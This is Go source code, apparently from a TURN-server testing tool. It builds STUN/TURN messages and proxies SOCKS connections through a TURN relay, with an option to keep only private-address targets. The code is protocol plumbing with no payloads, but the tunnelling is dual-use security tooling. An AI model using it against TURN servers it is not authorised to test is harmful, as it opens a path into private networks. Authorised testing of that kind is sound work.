26 |
27 | return s, nil
28 | }
29 |
30 | // ConnectRequestAuth returns an authorized CONNECT request
31 | func ConnectRequestAuth(username, password, nonce, realm string, target netip.Addr, port uint16) (*Stun, error) {
32 | s := newStun()
33 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID))
34 | if err != nil {
35 | return nil, err
36 | }
37 | s.Username = username
38 | s.Password = password
39 | s.Header.MessageType = MessageType{
40 | Class: MsgTypeClassRequest,
41 | Method: MsgTypeMethodConnect,
42 | }
43 |
44 | s.Attributes = []Attribute{
45 | {
46 | Type: AttrXorPeerAddress,
47 | Value: targetXOR,
48 | }, {
49 | Type: AttrUsername,
50 | Value: []byte(username),
51 | }, {
52 | Type: AttrRealm,
53 | Value: []byte(realm),
54 | }, {
55 | Type: AttrNonce,
56 | Value: []byte(nonce),
57 | },
58 | }
59 |
60 | return s, nil
61 | }
62 |
63 | // ConnectionBindRequest creates a CONNECTION BIND request
64 | func ConnectionBindRequest(connectionID []byte, username, password, nonce, realm string) *Stun {
65 | s := newStun()
66 | s.Username = username
67 | s.Password = password
68 | s.Header.MessageType = MessageType{
69 | Class: MsgTypeClassRequest,
70 | Method: MsgTypeMethodConnectionBind,
71 | }
72 |
73 | s.Attributes = []Attribute{
74 | {
75 | Type: AttrConnectionID,
76 | Value: connectionID,
77 | }, {
78 | Type: AttrUsername,
79 | Value: []byte(username),
80 | }, {
81 | Type: AttrRealm,
82 | Value: []byte(realm),
83 | }, {
84 | Type: AttrNonce,
85 | Value: []byte(nonce),
86 | },
87 | }
88 |
89 | return s
90 | }
91 |
--------------------------------------------------------------------------------
/internal/socksimplementations/socksturntcphandler.go:
--------------------------------------------------------------------------------
1 | package socksimplementations
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "fmt"
7 | "io"
8 | "net"
9 | "net/netip"
10 | "time"
11 |
12 | socks "github.com/firefart/gosocks"
13 | "github.com/firefart/stunner/internal"
14 | "github.com/firefart/stunner/internal/helper"
15 |
16 | "github.com/sirupsen/logrus"
17 | )
18 |
19 | // SocksTurnTCPHandler is the implementation of a TCP TURN server
20 | type SocksTurnTCPHandler struct {
21 | ControlConnection net.Conn
22 | TURNUsername string
23 | TURNPassword string
24 | Server string
25 | Timeout time.Duration
26 | UseTLS bool
27 | DropNonPrivateRequests bool
28 | Log *logrus.Logger
29 | realm string
30 | nonce string
31 | }
32 |
33 | // Init connects to the STUN server, sets the connection up and returns the data connections
34 | func (s *SocksTurnTCPHandler) Init(ctx context.Context, request socks.Request) (context.Context, io.ReadWriteCloser, *socks.Error) {
35 | var target netip.Addr
36 | var err error
37 | switch request.AddressType {
38 | case socks.RequestAddressTypeIPv4, socks.RequestAddressTypeIPv6:
39 | tmp, ok := netip.AddrFromSlice(request.DestinationAddress)
40 | if !ok {
41 | return ctx, nil, socks.NewError(socks.RequestReplyAddressTypeNotSupported, fmt.Errorf("%02x is no ip address", request.DestinationAddress))
42 | }
43 | target = tmp
44 | case socks.RequestAddressTypeDomainname:
45 | // check if the input is an ip adress
46 | if ip, err := netip.ParseAddr(string(request.DestinationAddress)); err == nil {
47 | target = ip
48 | } else {
49 | // input is a hostname
50 | names, err := helper.ResolveName(ctx, string(request.DestinationAddress))
51 | if err != nil {
52 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, err)
53 | }
54 | if len(names) == 0 {
55 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, fmt.Errorf("%s could not be resolved", string(request.DestinationAddress)))
56 | }
57 | target = names[0]
58 | }
59 | default:
60 | return ctx, nil, socks.NewError(socks.RequestReplyAddressTypeNotSupported, fmt.Errorf("AddressType %#x not implemented", request.AddressType))
61 | }
62 |
63 | if s.DropNonPrivateRequests && !helper.IsPrivateIP(target) {
64 | s.Log.Debugf("dropping non private connection to %s:%d", target.String(), request.DestinationPort)
65 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, fmt.Errorf("dropping non private connection to %s:%d", target.String(), request.DestinationPort))
66 | }
67 |
68 | realm, nonce, controlConnection, dataConnection, err := internal.SetupTurnTCPConnection(ctx, s.Log, s.Server, s.UseTLS, s.Timeout, target, request.DestinationPort, s.TURNUsername, s.TURNPassword)
69 | if err != nil {
70 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, err)
71 | }
72 | s.realm = realm
73 | s.nonce = nonce
74 |
75 | // we need to keep this connection open
76 | s.ControlConnection = controlConnection
77 | return ctx, dataConnection, nil
78 | }
79 |
80 | // Refresh is used to refresh an active connection every 2 minutes
81 | func (s *SocksTurnTCPHandler) Refresh(ctx context.Context) {
82 | nonce := s.nonce
83 | realm := s.realm
84 | tick := time.NewTicker(5 * time.Minute) // default timeout on coturn is 600 seconds (10 minutes)
85 | for {
86 | select {
87 | case <-ctx.Done():
88 | return
89 | case <-tick.C:
90 | s.Log.Debug("[socks] refreshing connection")
91 | refresh := internal.RefreshRequest(s.TURNUsername, s.TURNPassword, nonce, realm)
92 | response, err := refresh.SendAndReceive(ctx, s.Log, s.ControlConnection, s.Timeout)
93 | if err != nil {
94 | s.Log.Error(err)
95 | return
96 | }
97 | // should happen on a stale nonce
98 | if response.Header.MessageType.Class == internal.MsgTypeClassError {
99 | realm := string(response.GetAttribute(internal.AttrRealm).Value)
100 | nonce := string(response.GetAttribute(internal.AttrNonce).Value)
101 | s.nonce = nonce
102 | s.realm = realm
103 | refresh = internal.RefreshRequest(s.TURNUsername, s.TURNPassword, nonce, realm)
104 | response, err = refresh.SendAndReceive(ctx, s.Log, s.ControlConnection, s.Timeout)
105 | if err != nil {
106 | s.Log.Error(err)
107 | return
108 | }
109 | if response.Header.MessageType.Class == internal.MsgTypeClassError {
110 | s.Log.Error(response.GetErrorString())
111 | return
112 | }
113 | }
114 | }
115 | }
116 | }
117 |
118 | const bufferLength = 1024 * 100
119 |
120 | type readDeadline interface {
121 | SetReadDeadline(time.Time) error
122 | }
123 | type writeDeadline interface {
124 | SetWriteDeadline(time.Time) error
125 | }
126 |
127 | // ReadFromClient is used to copy data
128 | func (s *SocksTurnTCPHandler) ReadFromClient(ctx context.Context, client io.ReadCloser, remote io.WriteCloser) error {
129 | for {
130 | // anonymous func for defer
131 | // this might not be the fastest, but it does the trick
132 | // in this case the timeout is per buffer read/write to support
133 | // long-running downloads.
134 | err := func() error {
135 | timeOut := time.Now().Add(s.Timeout)
136 |
137 | ctx, cancel := context.WithDeadline(ctx, timeOut)
138 | defer cancel()
139 |
140 | select {
141 | case <-ctx.Done():
142 | return ctx.Err()
143 | default:
144 | if c, ok := remote.(writeDeadline); ok {
145 | if err := c.SetWriteDeadline(timeOut); err != nil {
146 | return fmt.Errorf("could not set write deadline on remote: %v", err)
147 | }
148 | }
149 |
150 | if c, ok := client.(readDeadline); ok {
151 | if err := c.SetReadDeadline(timeOut); err != nil {
152 | return fmt.Errorf("could not set read deadline on client: %v", err)
153 | }
154 | }
155 |
156 | i, err := io.CopyN(remote, client, bufferLength)
157 | if errors.Is(err, io.EOF) {
158 | return nil
159 | } else if err != nil {
160 | return fmt.Errorf("ReadFromClient: %w", err)
161 | }
162 | s.Log.Debugf("[socks] wrote %d bytes to client", i)
163 | }
164 | return nil
165 | }()
166 | if err != nil {
167 | return err
168 | }
169 | }
170 | }
171 |
172 | // ReadFromRemote is used to copy data
173 | func (s *SocksTurnTCPHandler) ReadFromRemote(ctx context.Context, remote io.ReadCloser, client io.WriteCloser) error {
174 | for {
175 | // anonymous func for defer
176 | // this might not be the fastest, but it does the trick
177 | // in this case the timeout is per buffer read/write to support
178 | // long-running downloads.
179 | err := func() error {
180 | timeOut := time.Now().Add(s.Timeout)
181 |
182 | ctx, cancel := context.WithDeadline(ctx, timeOut)
183 | defer cancel()
184 |
185 | select {
186 | case <-ctx.Done():
187 | return ctx.Err()
188 | default:
189 | if c, ok := client.(writeDeadline); ok {
190 | if err := c.SetWriteDeadline(timeOut); err != nil {
191 | return fmt.Errorf("could not set write deadline on client: %v", err)
192 | }
193 | }
194 |
195 | if c, ok := remote.(readDeadline); ok {
196 | if err := c.SetReadDeadline(timeOut); err != nil {
197 | return fmt.Errorf("could not set read deadline on remote: %v", err)
198 | }
199 | }
200 |
201 | i, err := io.CopyN(client, remote, bufferLength)
202 | if errors.Is(err, io.EOF) {
203 | return nil
204 | } else if err != nil {
205 | return fmt.Errorf("ReadFromRemote: %w", err)
206 | }
207 | s.Log.Debugf("[socks] wrote %d bytes to remote", i)
208 | }
209 | return nil
210 | }()
211 | if err != nil {
212 | return err
213 | }
214 | }
215 | }
216 |
217 | // Close closes the stored control connection
218 | func (s *SocksTurnTCPHandler) Close(_ context.Context) error {
219 | if s.ControlConnection != nil {
220 | return s.ControlConnection.Close()
221 | }
222 | return nil
223 | }
224 |
--------------------------------------------------------------------------------
/internal/stun.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "strings"
7 |
8 | "github.com/firefart/stunner/internal/helper"
9 | )
10 |
11 | // newStun creates a new STUN object
12 | func newStun() *Stun {
13 | return &Stun{
14 | Header: Header{
15 | TransactionID: helper.RandomString(12),
16 | },
17 | }
18 | }
19 |
20 | // GetErrorString returns the error string from the Error Attribute if present
21 | func (s *Stun) GetErrorString() string {
22 | for _, a := range s.Attributes {
23 | if a.Type == AttrErrorCode {
24 | attrError := ParseError(a.Value)
25 | // update error text if server did not provide one
26 | if len(strings.TrimSpace(attrError.ErrorText)) == 0 {
27 | if tmp, ok := StunErrorNames[attrError.ErrorCode]; ok {
28 | attrError.ErrorText = tmp
29 | } else if tmp, ok := TurnErrorNames[attrError.ErrorCode]; ok {
30 | attrError.ErrorText = tmp
31 | } else if tmp, ok := TurnTCPErrorNames[attrError.ErrorCode]; ok {
32 | attrError.ErrorText = tmp
33 | } else {
34 | attrError.ErrorText = "Invalid Error"
35 | }
36 | }
37 | return fmt.Sprintf("Error %d: %s", attrError.ErrorCode, attrError.ErrorText)
38 | }
39 | }
40 | return ""
41 | }
42 |
43 | // String returns a printable representation of the object
44 | func (s *Stun) String() string {
45 | str := ""
46 | str += "Header:\n"
47 | str += fmt.Sprintf("\tMessage Type: %s(%02x) %s(%02x)\n", MessageTypeMethodString(s.Header.MessageType.Method), s.Header.MessageType.Method, MessageTypeClassString(s.Header.MessageType.Class), s.Header.MessageType.Class)
48 | str += fmt.Sprintf("\tMessage Length: %d\n", s.Header.MessageLength)
49 | str += fmt.Sprintf("\tMessage Transaction ID: %02x\n", s.Header.TransactionID)
50 | str += "Attributes\n"
51 | for _, a := range s.Attributes {
52 | str += fmt.Sprintf("\t%s\n", a.String(s.Header.TransactionID))
53 | }
54 | return strings.TrimSpace(str)
55 | }
56 |
57 | // Serialize converts the object into a byte stream
58 | func (s *Stun) Serialize() ([]byte, error) {
59 | // first start with the attributes so we can calculate the message length afterward
60 | var attributes []byte
61 | authenticated := false
62 | for _, a := range s.Attributes {
63 | attributeByte := a.Serialize()
64 | attributes = append(attributes, attributeByte...)
65 | if a.Type == AttrUsername {
66 | authenticated = true
67 | }
68 | }
69 |
70 | integrityPos := len(attributes)
71 | if authenticated {
72 | attributes = append(attributes, helper.PutUint16(AttrMessageIntegrity.Value())...)
73 | attributes = append(attributes, helper.PutUint16(messageIntegritySize)...)
74 | // dummy data, will be replaced later after calculating the main header
75 | attributes = append(attributes, []byte("_DUMMYDATADUMMYDATA_")...)
76 | }
77 |
78 | // fingerprintPos := len(attributes)
79 | // attributes = append(attributes, PutUint16(AttrFingerprint.Value())...)
80 | // attributes = append(attributes, PutUint16(fingerPrintSize)...)
81 | // attributes = append(attributes, []byte("!!!!")...)
82 |
83 | var buf []byte
84 | buf = append(buf, s.Header.MessageType.Serialize()...)
85 | // Length
86 | buf = append(buf, helper.PutUint16(uint16(len(attributes)))...)
87 | // MagicCookie
88 | buf = append(buf, MagicCookie...)
89 | if s.Header.TransactionID == "" {
90 | return nil, fmt.Errorf("missing transaction ID")
91 | }
92 | buf = append(buf, s.Header.TransactionID...)
93 |
94 | buf = append(buf, attributes...)
95 |
96 | if authenticated {
97 | realm := string(s.GetAttribute(AttrRealm).Value)
98 | // update message integrity
99 | // buffer needs to be without message integrity and fingerprint, but the length needs to be correct
100 | messageInt, err := calculateMessageIntegrity(buf[:integrityPos+headerSize], s.Username, realm, s.Password)
101 | if err != nil {
102 | return nil, err
103 | }
104 | buf = bytes.ReplaceAll(buf, []byte("_DUMMYDATADUMMYDATA_"), messageInt)
105 | }
106 |
107 | // Fingerprint
108 | // fingerPrint := generateFingerprint(buf[:fingerprintPos+headerSize])
109 | // buf = bytes.ReplaceAll(buf, []byte("!!!!"), fingerPrint)
110 |
111 | // trim buffer
112 | return buf, nil
113 | }
114 |
115 | // GetAttribute gets a single Attribute. Returns an empty Attribute if not found
116 | func (s *Stun) GetAttribute(attr AttributeType) Attribute {
117 | for _, a := range s.Attributes {
118 | if a.Type == attr {
119 | return a
120 | }
121 | }
122 | return Attribute{}
123 | }
124 |
--------------------------------------------------------------------------------
/internal/types_stun.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "bytes"
5 | "encoding/binary"
6 | "fmt"
7 |
8 | "github.com/firefart/stunner/internal/helper"
9 | )
10 |
11 | const (
12 | headerSize = 20
13 | messageIntegritySize = 20
14 | )
15 |
16 | // nolint:unused
17 | const fingerPrintSize = 4
18 |
19 | // MagicCookie is the fixed value according to the rfc
20 | var MagicCookie = []byte{'\x21', '\x12', '\xa4', '\x42'}
21 |
22 | // Stun is the main object
23 | type Stun struct {
24 | Header Header
25 | Attributes []Attribute
26 | Username string
27 | Password string
28 | Log DebugLogger
29 | }
30 |
31 | // RequestedTransport represents the requested transport
32 | type RequestedTransport uint32
33 |
34 | var (
35 | // RequestedTransportTCP represents TCP
36 | RequestedTransportTCP RequestedTransport = 0x00000006
37 | // RequestedTransportUDP represents UDP
38 | RequestedTransportUDP RequestedTransport = 0x00000011
39 | )
40 |
41 | var requestedTransportNames = map[RequestedTransport]string{
42 | RequestedTransportTCP: "TCP",
43 | RequestedTransportUDP: "UDP",
44 | }
45 |
46 | /*
47 | 0 1 2 3
48 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
49 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
50 | |0 0| STUN Message Type | Message Length |
51 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
52 | | Magic Cookie |
53 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
54 | | |
55 | | Transaction ID (96 bits) |
56 | | |
57 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
58 | */
59 |
60 | // Header represents the header of a STUN message
61 | type Header struct {
62 | MessageType MessageType
63 | MessageLength uint16
64 | TransactionID string
65 | }
66 |
67 | /*
68 | MessageType represents the message type
69 |
70 | For example, a Binding request has class=0b00 (request) and
71 | method=0b000000000001 (Binding) and is encoded into the first 16 bits
72 | as 0x0001. A Binding response has class=0b10 (success response) and
73 | method=0b000000000001, and is encoded into the first 16 bits as
74 | 0x0101.
75 | */
76 | type MessageType struct {
77 | Class MessageTypeClass
78 | Method MessageTypeMethod
79 | }
80 |
81 | // Serialize converts the MessageType into a byte array
82 | func (m MessageType) Serialize() []byte {
83 | tmp := m.toUint16()
84 | return helper.PutUint16(tmp)
85 | }
86 |
87 | func (m MessageType) toUint16() uint16 {
88 | class := ((uint16(m.Class) & 0x02) << 7) | ((uint16(m.Class) & 0x01) << 4)
89 | method := uint16(m.Method) & 0x3EEF
90 | return class | method
91 | }
92 |
93 | // MessageTypeClass represents the Class
94 | type MessageTypeClass uint8
95 |
96 | const (
97 | // MsgTypeClassRequest https://tools.ietf.org/html/rfc5389#section-6
98 | MsgTypeClassRequest MessageTypeClass = 0x00
99 | // MsgTypeClassIndication https://tools.ietf.org/html/rfc5389#section-6
100 | MsgTypeClassIndication MessageTypeClass = 0x01
101 | // MsgTypeClassSuccess https://tools.ietf.org/html/rfc5389#section-6
102 | MsgTypeClassSuccess MessageTypeClass = 0x02
103 | // MsgTypeClassError https://tools.ietf.org/html/rfc5389#section-6
104 | MsgTypeClassError MessageTypeClass = 0x03
105 | )
106 |
107 | var msgTypeClassNames = map[MessageTypeClass]string{
108 | MsgTypeClassRequest: "Request",
109 | MsgTypeClassIndication: "Indication",
110 | MsgTypeClassSuccess: "Success Response",
111 | MsgTypeClassError: "Error Response",
112 | }
113 |
114 | // MessageTypeMethod holds the STUN method
115 | type MessageTypeMethod uint16
116 |
117 | const (
118 | // MsgTypeMethodBinding https://tools.ietf.org/html/rfc5389#section-18.1
119 | MsgTypeMethodBinding MessageTypeMethod = 0x01
120 | )
121 |
122 | var msgTypeMethodNames = map[MessageTypeMethod]string{
123 | MsgTypeMethodBinding: "Binding",
124 | }
125 |
126 | /*
127 | 0 1 2 3
128 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
129 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
130 | | Type | Length |
131 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
132 | | Value (variable) ....
133 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
134 | */
135 |
136 | // Attribute represents a single STUN attribute
137 | type Attribute struct {
138 | Type AttributeType
139 | Length uint16
140 | Value []byte
141 |
142 | padding uint16
143 | }
144 |
145 | func (a *Attribute) String(transactionID string) string {
146 | value := ""
147 | attrType := AttributeTypeString(a.Type)
148 | switch a.Type {
149 | // STUN
150 | case AttrMappedAddress:
151 | value = string(a.Value)
152 | case AttrUsername:
153 | value = string(a.Value)
154 | case AttrMessageIntegrity:
155 | value = fmt.Sprintf("%02x", a.Value)
156 | case AttrErrorCode:
157 | attrError := ParseError(a.Value)
158 | value = fmt.Sprintf("Error %d: %s", attrError.ErrorCode, attrError.ErrorText)
159 | case AttrUnknownAttributes:
160 | value = string(a.Value)
161 | case AttrRealm:
162 | value = string(a.Value)
163 | case AttrNonce:
164 | value = string(a.Value)
165 | case AttrRequestedAddressFamily:
166 | value = RequestedAddressFamilyString(AllocateProtocol(a.Value[0]))
167 | case AttrXorMappedAddress:
168 | host, port, _ := ConvertXORAddr(a.Value, transactionID)
169 | value = fmt.Sprintf("%02x (%s:%d)", a.Value, host, port)
170 | case AttrSoftware:
171 | value = string(a.Value)
172 | case AttrAlternateServer:
173 | value = string(a.Value)
174 | case AttrFingerprint:
175 | value = fmt.Sprintf("%02x", a.Value)
176 | // TURN
177 | case AttrChannelNumber:
178 | value = string(a.Value)
179 | case AttrLifetime:
180 | value = fmt.Sprintf("%d", binary.BigEndian.Uint32(a.Value))
181 | case AttrBandwidth:
182 | value = string(a.Value)
183 | case AttrXorPeerAddress:
184 | host, port, _ := ConvertXORAddr(a.Value, transactionID)
185 | value = fmt.Sprintf("%02x (%s:%d)", a.Value, host, port)
186 | case AttrData:
187 | value = fmt.Sprintf("%s (%02x)", a.Value, a.Value)
188 | case AttrXorRelayedAddress:
189 | host, port, _ := ConvertXORAddr(a.Value, transactionID)
190 | value = fmt.Sprintf("%02x (%s:%d)", a.Value, host, port)
191 | case AttrEvenPort:
192 | value = string(a.Value)
193 | case AttrRequestedTransport:
194 | value = RequestedTransportString(RequestedTransport(binary.LittleEndian.Uint16(a.Value)))
195 | case AttrDontFragment:
196 | value = string(a.Value)
197 | case AttrTimerVal:
198 | value = string(a.Value)
199 | case AttrReservationToken:
200 | value = string(a.Value)
201 | // TURNTCP
202 | case AttrConnectionID:
203 | value = fmt.Sprintf("%02x", a.Value)
204 | default:
205 | var v string
206 | if helper.IsPrintable(string(a.Value)) {
207 | v = string(a.Value)
208 | } else {
209 | v = fmt.Sprintf("%02x", a.Value)
210 | }
211 | value = fmt.Sprintf("\t%02x (%d): %s", a.Type, a.Length, v)
212 | }
213 |
214 | padding := ""
215 | if a.padding > 0 {
216 | padding = fmt.Sprintf(" Padding: %d", a.padding)
217 | }
218 | return fmt.Sprintf("%s: %s%s", attrType, value, padding)
219 | }
220 |
221 | // Serialize returns the byte slice representation of an attribute
222 | func (a *Attribute) Serialize() []byte {
223 | if a.Length == 0 {
224 | a.Length = uint16(len(a.Value))
225 | }
226 |
227 | var buf []byte
228 | buf = append(buf, helper.PutUint16(a.Type.Value())...)
229 | buf = append(buf, helper.PutUint16(a.Length)...)
230 | buf = append(buf, a.Value...)
231 | buf = Padding(buf)
232 |
233 | return buf
234 | }
235 |
236 | // AttributeType defines the type of the attribute
237 | type AttributeType uint16
238 |
239 | // Value returns the uint16 value of an AttributeType
240 | func (a AttributeType) Value() uint16 {
241 | return uint16(a)
242 | }
243 |
244 | const (
245 | // AttrMappedAddress https://tools.ietf.org/html/rfc5389#section-15.1
246 | AttrMappedAddress AttributeType = 0x0001
247 | // AttrUsername https://tools.ietf.org/html/rfc5389#section-15.3
248 | AttrUsername AttributeType = 0x0006
249 | // AttrMessageIntegrity https://tools.ietf.org/html/rfc5389#section-15.4
250 | AttrMessageIntegrity AttributeType = 0x0008
251 | // AttrErrorCode https://tools.ietf.org/html/rfc5389#section-15.6
252 | AttrErrorCode AttributeType = 0x0009
253 | // AttrUnknownAttributes https://tools.ietf.org/html/rfc5389#section-15.9
254 | AttrUnknownAttributes AttributeType = 0x000a
255 | // AttrRealm https://tools.ietf.org/html/rfc5389#section-15.7
256 | AttrRealm AttributeType = 0x0014
257 | // AttrNonce https://tools.ietf.org/html/rfc5389#section-15.8
258 | AttrNonce AttributeType = 0x0015
259 | // https://datatracker.ietf.org/doc/html/rfc6156#section-10.1
260 | AttrRequestedAddressFamily = 0x0017
261 | // AttrXorMappedAddress https://tools.ietf.org/html/rfc5389#section-15.2
262 | AttrXorMappedAddress AttributeType = 0x0020
263 | // AttrSoftware https://tools.ietf.org/html/rfc5389#section-15.10
264 | AttrSoftware AttributeType = 0x8022
265 | // AttrAlternateServer https://tools.ietf.org/html/rfc5389#section-15.11
266 | AttrAlternateServer AttributeType = 0x8023
267 | // AttrFingerprint https://tools.ietf.org/html/rfc5389#section-15.5
268 | AttrFingerprint AttributeType = 0x8028
269 |
270 | // old RFC5780 https://www.rfc-editor.org/rfc/rfc5780#section-7
271 | AttrChangeRequest AttributeType = 0x0003
272 | AttrPadding AttributeType = 0x0026
273 | AttrResponsePort AttributeType = 0x0027
274 | AttrResponseOrigin AttributeType = 0x802b
275 | AttrOtherAddress AttributeType = 0x802c
276 | )
277 |
278 | var attrNames = map[AttributeType]string{
279 | AttrMappedAddress: "MAPPED-ADDRESS",
280 | AttrUsername: "USERNAME",
281 | AttrMessageIntegrity: "MESSAGE-INTEGRITY",
282 | AttrErrorCode: "ERROR-CODE",
283 | AttrUnknownAttributes: "UNKNOWN-ATTRIBUTES",
284 | AttrRealm: "REALM",
285 | AttrNonce: "NONCE",
286 | AttrRequestedAddressFamily: "REQUESTED-ADDRESS-FAMILY",
287 | AttrXorMappedAddress: "XOR-MAPPED-ADDRESS",
288 | AttrSoftware: "SOFTWARE",
289 | AttrAlternateServer: "ALTERNATE-SERVER",
290 | AttrFingerprint: "FINGERPRINT",
291 | AttrChangeRequest: "CHANGE-REQUEST",
292 | AttrPadding: "PADDING",
293 | AttrResponsePort: "RESPONSE-PORT",
294 | AttrResponseOrigin: "RESPONSE-ORIGIN",
295 | AttrOtherAddress: "OTHER-ADDRESS",
296 | }
297 |
298 | /*
299 | Error holds the Error Attribute
300 |
301 | 0 1 2 3
302 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
303 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
304 | | Reserved, should be 0 |Class| Number |
305 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
306 | | Reason Phrase (variable) ..
307 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
308 | */
309 | type Error struct {
310 | ErrorCode ErrorCode
311 | ErrorText string
312 | }
313 |
314 | // ParseError returns an Error type from a byte slice
315 | func ParseError(buf []byte) Error {
316 | errorCode := int(buf[2])*100 + int(buf[3])
317 | errorText := buf[4:]
318 | return Error{
319 | ErrorCode: ErrorCode(errorCode),
320 | ErrorText: string(bytes.Trim(errorText, "\x00")),
321 | }
322 | }
323 |
324 | // ErrorCode defines the returned error code
325 | type ErrorCode uint16
326 |
327 | const (
328 | // ErrorTryAlternate error
329 | /*
330 | Try Alternate: The client should contact an alternate server for
331 | this request. This error response MUST only be sent if the
332 | request included a USERNAME attribute and a valid MESSAGE-
333 | INTEGRITY attribute; otherwise, it MUST NOT be sent and error
334 | code 400 (Bad Request) is suggested. This error response MUST
335 | be protected with the MESSAGE-INTEGRITY attribute, and receivers
336 | MUST validate the MESSAGE-INTEGRITY of this response before
337 | redirecting themselves to an alternate server.
338 | Note: Failure to generate and validate message integrity
339 | for a 300 response allows an on-path attacker to falsify a
340 | 300 response thus causing subsequent STUN messages to be
341 | sent to a victim.
342 | */
343 | ErrorTryAlternate ErrorCode = 300
344 | // ErrorBadRequest error
345 | /*
346 | Bad Request: The request was malformed. The client SHOULD NOT
347 | retry the request without modification from the previous
348 | attempt. The server may not be able to generate a valid
349 | MESSAGE-INTEGRITY for this error, so the client MUST NOT expect
350 | a valid MESSAGE-INTEGRITY attribute on this response.
351 | */
352 | ErrorBadRequest ErrorCode = 400
353 | // ErrorUnauthorized error
354 | /*
355 | Unauthorized: The request did not contain the correct
356 | credentials to proceed. The client should retry the request
357 | with proper credentials.
358 | */
359 | ErrorUnauthorized ErrorCode = 401
360 | // ErrorUnknownAttribute error
361 | /*
362 | Unknown Attribute: The server received a STUN packet containing
363 | a comprehension-required attribute that it did not understand.
364 | The server MUST put this unknown attribute in the UNKNOWN-
365 | ATTRIBUTE attribute of its error response.
366 | */
367 | ErrorUnknownAttribute ErrorCode = 420
368 | // ErrorStaleNonce error
369 | /*
370 | Stale Nonce: The NONCE used by the client was no longer valid.
371 | The client should retry, using the NONCE provided in the
372 | response.
373 | */
374 | ErrorStaleNonce ErrorCode = 438
375 | // https://datatracker.ietf.org/doc/html/rfc6156#section-10.2
376 | ErrorAddressFamilyNotSupported ErrorCode = 440
377 | // https://datatracker.ietf.org/doc/html/rfc6156#section-10.2
378 | ErrorPeerAddressFamilyMissmatch ErrorCode = 443
379 | // ErrorServerError error
380 | /*
381 | Server Error: The server has suffered a temporary error. The
382 | client should try again.
383 | */
384 | ErrorServerError ErrorCode = 500
385 | )
386 |
387 | // nolint:unused
388 | var StunErrorNames = map[ErrorCode]string{
389 | ErrorTryAlternate: "Try Alternate",
390 | ErrorBadRequest: "Bad Request",
391 | ErrorUnauthorized: "Unauthorized",
392 | ErrorUnknownAttribute: "Unknown Attribute",
393 | ErrorStaleNonce: "Stale Nonce",
394 | ErrorAddressFamilyNotSupported: "Address Family not supported",
395 | ErrorPeerAddressFamilyMissmatch: "Peer Address Family Missmatch",
396 | ErrorServerError: "Server Error",
397 | }
398 |
--------------------------------------------------------------------------------
/internal/types_turn.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | /*
4 | 0x003 : Allocate (only request/response semantics defined)
5 | 0x004 : Refresh (only request/response semantics defined)
6 | 0x006 : Send (only indication semantics defined)
7 | 0x007 : Data (only indication semantics defined)
8 | 0x008 : CreatePermission (only request/response semantics defined)
9 | 0x009 : ChannelBind (only request/response semantics defined)
10 |
11 | This STUN extension defines the following new attributes:
12 |
13 | 0x000C: CHANNEL-NUMBER
14 | 0x000D: LIFETIME
15 | 0x0010: Reserved (was BANDWIDTH)
16 | 0x0012: XOR-PEER-ADDRESS
17 | 0x0013: DATA
18 | 0x0016: XOR-RELAYED-ADDRESS
19 | 0x0018: EVEN-PORT
20 | 0x0019: REQUESTED-TRANSPORT
21 | 0x001A: DONT-FRAGMENT
22 | 0x0021: Reserved (was TIMER-VAL)
23 | 0x0022: RESERVATION-TOKEN
24 |
25 |
26 | This document defines the following new error response codes:
27 |
28 | 403 (Forbidden): The request was valid but cannot be performed due
29 | to administrative or similar restrictions.
30 |
31 | 437 (Allocation Mismatch): A request was received by the server that
32 | requires an allocation to be in place, but no allocation exists,
33 | or a request was received that requires no allocation, but an
34 | allocation exists.
35 |
36 | 441 (Wrong Credentials): The credentials in the (non-Allocate)
37 | request do not match those used to create the allocation.
38 |
39 | 442 (Unsupported Transport Protocol): The Allocate request asked the
40 | server to use a transport protocol between the server and the peer
41 | that the server does not support. NOTE: This does NOT refer to
42 | the transport protocol used in the 5-tuple.
43 |
44 | 486 (Allocation Quota Reached): No more allocations using this
45 | username can be created at the present time.
46 |
47 | 508 (Insufficient Capacity): The server is unable to carry out the
48 | request due to some capacity limit being reached. In an Allocate
49 | response, this could be due to the server having no more relayed
50 | transport addresses available at that time, having none with the
51 | requested properties, or the one that corresponds to the specified
52 | reservation token is not available.
53 | */
54 |
55 | const (
56 | MsgTypeMethodAllocate MessageTypeMethod = 0x03
57 | MsgTypeMethodRefresh MessageTypeMethod = 0x04
